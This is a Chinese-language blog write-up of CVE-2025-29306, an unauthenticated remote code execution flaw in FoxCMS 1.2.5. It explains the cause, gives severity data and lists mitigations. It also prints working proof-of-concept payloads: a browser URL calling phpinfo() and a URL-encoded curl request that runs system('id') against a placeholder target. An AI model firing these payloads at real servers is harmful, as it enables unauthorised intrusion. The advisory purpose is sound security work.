FoxCMS v1.2.5 反序列化注入漏洞导致未授权远程代码执行(CVE-2025-29306)

本文详细分析了FoxCMS v1.2.5中存在的严重远程代码执行漏洞(CVE-2025-29306),该漏洞由于未对用户输入的id参数进行验证直接传递给PHP的unserialize()函数,攻击者可通过构造恶意序列化对象实现任意命令执行。

CVE-2025-29306 – FoxCMS v1.2.5 通过反序列化注入实现未授权远程代码执行

概述

CVE-2025-29306是一个影响FoxCMS 1.2.5版本的严重远程代码执行(RCE)漏洞。该漏洞源于对id参数的不安全处理,该参数未经验证直接传递给PHP的unserialize()函数。攻击者可以提供恶意的序列化PHP对象,通过system()触发任意命令执行。

漏洞信息:

  • CVE ID: CVE-2025-29306
  • 严重等级: 严重
  • CVSS评分: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • EPSS评分: 71.52%
  • 受影响版本: FoxCMS ≤ 1.2.5
  • 已修复版本: 截至撰写时尚未发布
  • 需要认证: 否
  • 影响: 远程代码执行

技术分析

FoxCMS直接将用户提供的id参数输入传递给unserialize()函数。当提供恶意的序列化PHP对象时,FoxCMS会无意中执行攻击者控制的PHP代码。

典型payload可能注入如下PHP代码:

1
${@print_r(@system("id"))}

当反序列化并评估时,这将导致任意操作系统命令执行。这种技术被称为PHP对象注入(POI),利用unserialize()作为初始注入向量。

利用条件

  • FoxCMS v1.2.5已安装且可公开访问
  • 无需登录或认证
  • 环境中存在PHP反序列化gadgets
  • PHP具有shell访问权限(许多配置中的默认设置)

利用步骤

要利用此漏洞,攻击者需要向易受攻击的案例展示页面构造POST请求,注入随后被写入.php文件的PHP代码。

简单浏览器PoC 已知的漏洞利用只需调用phpinfo():将TARGET替换为目标URL或IP。访问该URL将显示完整的phpinfo输出,确认代码执行。

1
http://TARGET/images/index.html?id=${@print(phpinfo())}

使用curl的PoC 将phpinfo()替换为操作系统命令,例如id:

1
curl "http://TARGET/images/index.html?id=%24%7B%40print%28system%28%22id%22%29%29%7D"

这确认了漏洞,并演示了通过FoxCMS v1.2.5中基于反序列化的注入实现远程代码执行。

缓解措施

目前尚无官方补丁。用户应:

  • 移除或替换unserialize()的使用,采用更安全的方法(例如JSON解码)
  • 过滤或验证所有输入参数
  • 阻止对易受攻击页面的公共访问
  • 部署WAF签名以检测序列化payload
  • 如果不需要,禁用危险的PHP函数如system()

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计